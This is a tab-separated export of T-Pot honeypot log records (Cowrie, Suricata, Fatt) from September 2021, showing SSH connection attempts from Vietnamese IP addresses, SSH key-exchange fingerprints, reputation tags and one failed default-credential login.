22284	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:59.115621+03	2021-09-20 14:15:04.738643+03	{"_id": "MAbjAnwBvYTbRNuEPQW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:40520 (192.168.176.2:22) [session: 41c8f72263d6]", "session": "41c8f72263d6", "@version": "1", "protocol": "ssh", "src_port": 40520, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.115621Z", "@timestamp": "2021-09-20T11:06:59.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22287	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:58.946957+03	2021-09-20 14:15:04.741642+03	{"_id": "VAbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 832761599555680, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45154, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.946957Z", "@timestamp": "2021-09-20T11:06:58.946Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22288	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:59.566316+03	2021-09-20 14:15:04.743613+03	{"_id": "WAbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1295074026795681, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.566316Z", "@timestamp": "2021-09-20T11:06:59.566Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22289	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:59.620628+03	2021-09-20 14:15:04.744612+03	{"_id": "VgbjAnwBvYTbRNuEQAU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1545118432828957, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.620628Z", "@timestamp": "2021-09-20T11:06:59.620Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22290	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.28852+03	2021-09-20 14:15:04.746613+03	{"_id": "ZgbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52180 (192.168.176.2:22) [session: 31847e4bc254]", "session": "31847e4bc254", "@version": "1", "protocol": "ssh", "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.288520Z", "@timestamp": "2021-09-20T11:06:59.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22291	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.074091+03	2021-09-20 14:15:04.747612+03	{"_id": "bAbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59392, "timestamp": "2021-09-20T11:06:59.074091", "@timestamp": "2021-09-20T11:06:59.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22292	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.348144+03	2021-09-20 14:15:04.748645+03	{"_id": "bQbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48902, "timestamp": "2021-09-20T11:06:59.348144", "@timestamp": "2021-09-20T11:06:59.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22293	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.7197+03	2021-09-20 14:15:04.749613+03	{"_id": "YwbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "a5f1fcd7546d", "@version": "1", "duration": 8.008510112762451, "timestamp": "2021-09-20T11:06:59.719700Z", "@timestamp": "2021-09-20T11:06:59.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22294	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.450947+03	2021-09-20 14:15:04.751643+03	{"_id": "eQbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38418, "timestamp": "2021-09-20T11:06:59.450947", "@timestamp": "2021-09-20T11:06:59.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22295	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:59.347462+03	2021-09-20 14:15:04.752647+03	{"_id": "bwbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "907cfc66644a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:59.347462Z", "@timestamp": "2021-09-20T11:06:59.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22296	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.568707+03	2021-09-20 14:15:04.753643+03	{"_id": "cAbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "31847e4bc254", "@version": "1", "timestamp": "2021-09-20T11:06:59.568707Z", "@timestamp": "2021-09-20T11:06:59.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22297	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.545054+03	2021-09-20 14:15:04.755645+03	{"_id": "gQbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39436 (192.168.176.2:22) [session: 9d8dc00085e5]", "session": "9d8dc00085e5", "@version": "1", "protocol": "ssh", "src_port": 39436, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.545054Z", "@timestamp": "2021-09-20T11:06:59.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22298	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.593277+03	2021-09-20 14:15:04.757614+03	{"_id": "fAbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/ubnt] failed", "session": "ef2667f17182", "@version": "1", "password": "ubnt", "username": "root", "timestamp": "2021-09-20T11:06:59.593277Z", "@timestamp": "2021-09-20T11:06:59.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22299	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:59.954829+03	2021-09-20 14:15:04.758642+03	{"_id": "cgbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d44b4683dc06", "@version": "1", "timestamp": "2021-09-20T11:06:59.954829Z", "@timestamp": "2021-09-20T11:06:59.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22300	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:00.418359+03	2021-09-20 14:15:04.760642+03	{"_id": "kAbjAnwBvYTbRNuERAUe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 581340656536071, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37880, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.418359Z", "@timestamp": "2021-09-20T11:07:00.418Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
